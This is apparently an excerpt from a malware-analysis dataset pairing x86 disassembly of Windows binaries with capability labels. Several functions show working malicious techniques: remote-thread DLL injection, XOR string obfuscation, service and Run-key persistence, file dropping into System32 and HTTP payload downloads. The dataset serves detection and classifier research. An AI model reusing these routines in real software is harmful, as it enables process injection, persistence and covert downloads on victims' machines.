joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6c9815c2
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6c9816bb
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.File_size_is__d_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x6c981729
mov dword [esp], str.Malloc_failed_
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x6c981d40
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6c98603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6c986034]
sub esp, 4
test ebx, ebx
je 0x6c981d8b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6c981d84
test esi, esi
je 0x6c981d84
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6c981d60
mov dword [esp], 0x6c98603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x6c981f70
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6c98430c
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x6c981fc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6c982098
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6c981ffe
cmp eax, 4
jne 0x6c982020
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6c98200e
cmp edx, 4
je 0x6c98200e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6c981f70
Function at 0x4019e3
Capabilities:
Encode data using xor

Disassembly:
push edi
mov edi, dword [esp + 8]
test edi, edi
jne 0x4019f0
xor eax, eax
pop edi
ret
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov esi, eax
lea eax, [esi + 1]
push eax
call fcn.00403516
test esi, esi
pop ecx
jle 0x401a1c
mov ecx, eax
sub edi, eax
mov edx, esi
push ebx
mov bl, byte [edi + ecx]
xor bl, 0x5b
mov byte [ecx], bl
inc ecx
dec edx
jne 0x401a0f
pop ebx
mov byte [eax + esi], 0
pop esi
pop edi
ret

Function at 0x401a23
Capabilities:
Encode data using xor

Disassembly:
xor ecx, ecx
cmp dword [esp + 8], ecx
jbe 0x401a44
mov eax, dword [esp + 4]
add eax, ecx
mov edx, dword [eax]
xor edx, dword [esp + 0xc]
add edx, ecx
add ecx, 4
cmp ecx, dword [esp + 8]
mov dword [eax], edx
jb 0x401a2b
ret

Function at 0x401a45
Capabilities:
Encode data using xor

Disassembly:
xor ecx, ecx
cmp dword [esp + 8], ecx
jbe 0x401a66
mov eax, dword [esp + 4]
add eax, ecx
mov edx, dword [eax]
sub edx, ecx
xor edx, dword [esp + 0xc]
add ecx, 4
cmp ecx, dword [esp + 8]
mov dword [eax], edx
jb 0x401a4d
ret

Function at 0x402003
Capabilities:
Create service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push edi
lea eax, [ebp - 0x44]
push eax
push dword [ebp + 8]
call fcn.00401fc0
pop ecx
pop ecx
push 0xf003f
xor edi, edi
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, edi
mov dword [ebp - 4], eax
je 0x40209a
cmp eax, 0xffffffff
je 0x40209a
push ebx
push esi
push edi
push edi
push edi
push edi
push edi
push dword [ebp + 8]
mov esi, 0xf01ff
push 1
push 1
push 1
push esi
lea ecx, [ebp - 0x44]
push ecx
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, eax
cmp ebx, edi
je 0x402060
cmp ebx, 0xffffffff
jne 0x402076
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push esi
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x402086
xor edi, edi
inc edi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call esi
push dword [ebp - 4]
call esi
pop esi
mov eax, edi
pop ebx
jmp 0x40209c
xor eax, eax
pop edi
leave
ret

Function at 0x40209f
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push edi
lea eax, [ebp - 0x5c]
push eax
push dword [ebp + 8]
call fcn.00401fc0
pop ecx
pop ecx
push 0xf003f
xor edi, edi
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
cmp ebx, edi
je 0x402118
cmp ebx, 0xffffffff
je 0x402118
push esi
push 0xf01ff
lea eax, [ebp - 0x5c]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
cmp esi, edi
je 0x40210c
cmp esi, 0xffffffff
je 0x40210c
lea eax, [ebp - 0x1c]
push eax
inc edi
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x402105
xor edi, edi
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop esi
jmp 0x40211a
xor eax, eax
pop edi
pop ebx
leave
ret
Function at 0x40211e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push 0x40000000
push str..LanManDrv
call fcn.004034f0
cmp eax, 0xffffffff
pop ecx
pop ecx
mov dword [ebp - 4], eax
jne 0x402140
xor eax, eax
leave
ret
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
lea edi, [ebx + 1]
push edi
call fcn.00403516
mov esi, eax
mov al, byte [ebp + 8]
push ebx
push dword [ebp + 0xc]
mov byte [esi], al
lea eax, [esi + 1]
push eax
call fcn.00403cab
add esp, 0x10
push 0
lea eax, [ebp - 8]
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call fcn.0040352a
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret

Function at 0x40220f
Capabilities:
Delete file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push edi
lea eax, [ebp - 0x20c]
push 0x200
push eax
call fcn.00403d00
pop ecx
pop ecx
push str.iexchg.dll
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x20c]
push 0x80000000
push eax
call fcn.004034f0
mov edi, eax
cmp edi, 0xffffffff
pop ecx
pop ecx
jne 0x40225f
xor eax, eax
jmp 0x402381
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_ReadFile]
xor ebx, ebx
push ebx
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
push edi
call esi
test eax, eax
je 0x402376
push ebx
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x80c]
push eax
push edi
call esi
test eax, eax
je 0x402376
mov eax, dword [ebp - 0xc]
push ebx
mov byte [ebp + eax - 0x80c], bl
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp - 4]
push eax
push edi
call esi
test eax, eax
je 0x402376
push ebx
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x60c]
push eax
push edi
call esi
test eax, eax
je 0x402376
mov eax, dword [ebp - 4]
push edi
mov byte [ebp + eax - 0x60c], bl
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0x200
lea eax, [ebp - 0x40c]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov eax, dword [ebp - 4]
inc eax
push eax
call fcn.00403516
mov dword [0x40505c], eax
mov eax, dword [ebp - 0xc]
inc eax
push eax
call fcn.00403516
pop ecx
mov dword [0x405060], eax
pop ecx
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
call fcn.00403516
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
pop ecx
mov dword [0x405064], eax
lea eax, [ebp - 0x60c]
push eax
push dword [0x40505c]
call esi
lea eax, [ebp - 0x40c]
push eax
push dword [0x405064]
call esi
lea eax, [ebp - 0x80c]
push eax
push dword [0x405060]
call esi
xor eax, eax
inc eax
jmp 0x40237f
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
pop esi
pop ebx
pop edi
leave
ret
Function at 0x4023a4
Capabilities:
Delete registry value
Initialize winsock library
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
push esi
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call main
pop ecx
lea eax, [ebp - 0x194]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0xa365
push 0x232
push 0x10
push 0
push str.__srvmgr32
call dword [sym.imp.USER32.dll_FindWindowA]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, str.ZwQueryService
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.0040220f
test eax, eax
je 0x402428
call fcn.00402ec0
test eax, eax
jne 0x40242f
xor eax, eax
jmp 0x4024d6
call fcn.00402feb
push dword [0x40505c]
call fcn.00402003
mov dword [esp], 0x40103d
push 0xbb8
push 0x161
push dword [0x405068]
call dword [sym.imp.USER32.dll_SetTimer]
call fcn.0040319a
test eax, eax
jne 0x40246a
call fcn.00403220
call fcn.004019c8
call fcn.004019ae
push 0x5c
push dword [0x40505c]
call fcn.0040353e
push eax
call fcn.004021af
push 0x5c
push dword [0x405060]
call fcn.0040353e
push eax
call fcn.004021af
push 0x5c
push dword [0x405064]
call fcn.0040353e
push eax
call fcn.004021af
call fcn.004021a1
push esi
call fcn.004021ca
push 0x5c
push dword [0x405060]
call fcn.0040353e
push eax
call fcn.004021ca
add esp, 0x34
call fcn.00402384
xor eax, eax
inc eax
pop esi
leave
ret

Function at 0x402664
Capabilities:
Copy file
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
xor esi, esi
jmp 0x402681
cmp byte [eax + edi], 0x5c
je 0x402685
dec eax
cmp eax, esi
jg 0x40267a
cmp eax, esi
jne 0x402690
xor eax, eax
jmp 0x402722
push ebx
mov edi, 0x200
push edi
call fcn.00403516
mov ebx, eax
push edi
push ebx
call fcn.00403d00
add esp, 0xc
push str.lanmanwrk.exe
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push esi
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push 0x404320
push esi
push esi
push esi
push esi
push esi
push ebx
push ebx
mov dword [ebp - 0x54], 0x44
mov word [ebp - 0x22], si
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x48], esi
mov word [ebp - 0x24], 5
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
push ebx
call fcn.0040352a
pop ecx
xor eax, eax
inc eax
pop ebx
pop edi
pop esi
leave
ret
Function at 0x402feb
Capabilities:
Delete file
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
push 0x80000000
push dword [0x405060]
call fcn.004034f0
mov edi, eax
cmp edi, 0xffffffff
pop ecx
pop ecx
jne 0x403012
xor eax, eax
jmp 0x4030f3
push ebx
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov ebx, eax
push ebx
mov dword [ebp - 4], ebx
call fcn.00403516
pop ecx
push 0
mov esi, eax
lea eax, [ebp - 8]
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
push esi
call fcn.00402fb5
test eax, eax
pop ecx
pop ecx
je 0x4030d2
mov edx, dword [eax + esi + 4]
lea edi, [eax + esi]
mov ecx, dword [edi]
push ecx
push edx
lea eax, [eax + esi + 8]
push eax
call fcn.00402f88
add esp, 0xc
mov dword [edi], eax
push dword [0x405060]
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov edi, 0x40000000
push edi
push dword [0x405060]
call fcn.004034f0
mov ebx, eax
cmp ebx, 0xffffffff
pop ecx
pop ecx
jne 0x4030d6
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push edi
push dword [0x405060]
call fcn.004034f0
mov ebx, eax
cmp ebx, 0xffffffff
pop ecx
pop ecx
jne 0x4030d6
push 0x1388
call dword [sym.imp.KERNEL32.DLL_Sleep]
push edi
push dword [0x405060]
call fcn.004034f0
mov ebx, eax
cmp ebx, 0xffffffff
pop ecx
pop ecx
jne 0x4030d6
xor eax, eax
jmp 0x4030f1
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
inc eax
pop esi
pop ebx
pop edi
leave
ret

Function at 0x4030f6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push 0xff
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push str.qmopt.dll
lea eax, [ebp - 0x100]
push eax
push str._s_system32_s
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
leave
ret

Function at 0x403130
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
lea eax, [ebp - 0x104]
push edi
push eax
call fcn.004030f6
pop ecx
xor esi, esi
push esi
push 0x80
push 4
push esi
push esi
push 0x40000000
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x403171
xor eax, eax
jmp 0x403196
push esi
lea eax, [ebp - 4]
push eax
push 0x2d4
push 0x405070
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
cmp dword [ebp - 4], esi
setne al
pop edi
pop esi
leave
ret
Function at 0x40319a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
lea eax, [ebp - 0x108]
push edi
push eax
call fcn.004030f6
mov edi, 0x2d4
push edi
xor ebx, ebx
push ebx
mov esi, 0x405070
push esi
call fcn.00403ccd
add esp, 0x10
push ebx
push 0x80
push 3
push ebx
push ebx
push 0x80000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x403209
push ebx
lea ecx, [ebp - 8]
push ecx
push edi
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
cmp dword [ebp - 8], ebx
push dword [ebp - 4]
jne 0x40320d
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x40321b
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
call fcn.00403130
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40326d
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40327c
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
ret

Function at 0x403565
Capabilities:
Create http request
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00401000
push ebx
push esi
push edi
xor esi, esi
push 0x4043c0
mov dword [ebp - 4], esi
mov dword [ebp - 0x14], esi
call fcn.004019e3
pop ecx
mov edi, eax
push edi
push str.wininet.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push edi
mov dword [ebp - 0xc], eax
call fcn.0040352a
pop ecx
push esi
push esi
push esi
push esi
push 0x404175
call dword [sym.imp.WININET.dll_InternetOpenA]
push esi
push 0x84000100
push esi
push esi
push dword [ebp + 8]
mov edi, eax
push edi
mov dword [ebp - 0x10], edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp edi, esi
mov ebx, eax
je 0x403672
cmp ebx, esi
je 0x403672
cmp edi, 0xffffffff
je 0x403672
cmp ebx, 0xffffffff
je 0x403672
mov edi, dword [ebp + 0xc]
cmp edi, esi
je 0x403618
push edi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push esi
push 0x80
push 4
push esi
push esi
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x1000
lea eax, [ebp - 0x1014]
push eax
push ebx
call dword [ebp - 0xc]
cmp edi, esi
je 0x40364d
cmp dword [ebp - 4], esi
jbe 0x403652
push esi
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x1014]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
cmp dword [ebp - 4], esi
ja 0x403618
cmp edi, esi
je 0x40365f
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push dword [ebp - 0x10]
call esi
xor eax, eax
inc eax
jmp 0x403674
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403ad1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push edi
lea ecx, [ebp - 8]
call fcn.00401d3b
lea eax, [ebp - 0xc]
push eax
push str.SoftwareMicrosoftInternet_Explorer
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x403b5d
push 0x7f
pop ecx
mov byte [ebp - 0x214], al
lea edi, [ebp - 0x213]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0x404418
push dword [ebp - 0xc]
mov dword [ebp - 0x14], 0x200
mov dword [ebp - 0x10], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push ecx
push ecx
lea eax, [ebp - 0x214]
mov ecx, esp
push eax
call fcn.00401d8c
lea ecx, [ebp - 8]
call fcn.00401edc
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
call fcn.00401d5c
lea ecx, [ebp - 8]
call fcn.00401dbd
mov eax, dword [ebp + 8]
pop edi
leave
ret

Function at 0x403d00
Capabilities:
Get common file path

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov ebp, str.System32_
push ebp
call edi
mov esi, dword [esp + 0x1c]
push esi
mov dword [esp + 0x14], eax
call fcn.00403516
pop ecx
mov ebx, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push ebx
call edi
sub esi, dword [esp + 0x10]
cmp eax, esi
jg 0x403d4d
push ebx
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push ebp
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push ebx
call fcn.0040352a
pop ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x403da0
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
xor ebx, ebx
push 0x4043c0
mov dword [ebp - 4], ebx
call fcn.004019e3
pop ecx
mov esi, eax
push esi
push str.wininet.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push esi
mov dword [ebp - 8], eax
call fcn.0040352a
cmp dword [ebp - 8], ebx
pop ecx
je 0x403eba
push ebx
push ebx
push ebx
push ebx
push 0x404175
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push 0x84000100
push ebx
push ebx
push dword [ebp + 8]
mov esi, eax
push esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp esi, ebx
mov dword [ebp - 0x10], eax
je 0x403eab
cmp eax, ebx
je 0x403eab
cmp esi, 0xffffffff
je 0x403eab
cmp eax, 0xffffffff
je 0x403eab
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
push edi
push eax
xor esi, esi
mov dword [ebp - 0x14], eax
call fcn.00403516
mov edi, dword [ebp + 0xc]
pop ecx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x14]
sub eax, esi
mov ecx, 0x8000
cmp eax, ecx
jbe 0x403e53
mov eax, ecx
lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call dword [ebp - 8]
push dword [ebp - 4]
lea eax, [esi + edi]
push dword [ebp - 0xc]
push eax
call fcn.00403cab
add esi, dword [ebp - 4]
add esp, 0xc
cmp dword [ebp - 4], ebx
jne 0x403e86
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp dword [ebp - 4], ebx
ja 0x403e43
cmp dword [ebp + 0x14], ebx
jne 0x403e90
mov byte [esi + edi], bl
mov eax, dword [ebp + 0x10]
push dword [ebp - 0x10]
mov dword [eax], esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x18]
call esi
xor eax, eax
inc eax
pop edi
jmp 0x403ebc
cmp dword [ebp + 0x14], ebx
jne 0x403eb5
mov eax, dword [ebp + 0xc]
mov byte [eax], bl
mov eax, dword [ebp + 0x10]
mov dword [eax], ebx
xor eax, eax
pop esi
pop ebx
leave
ret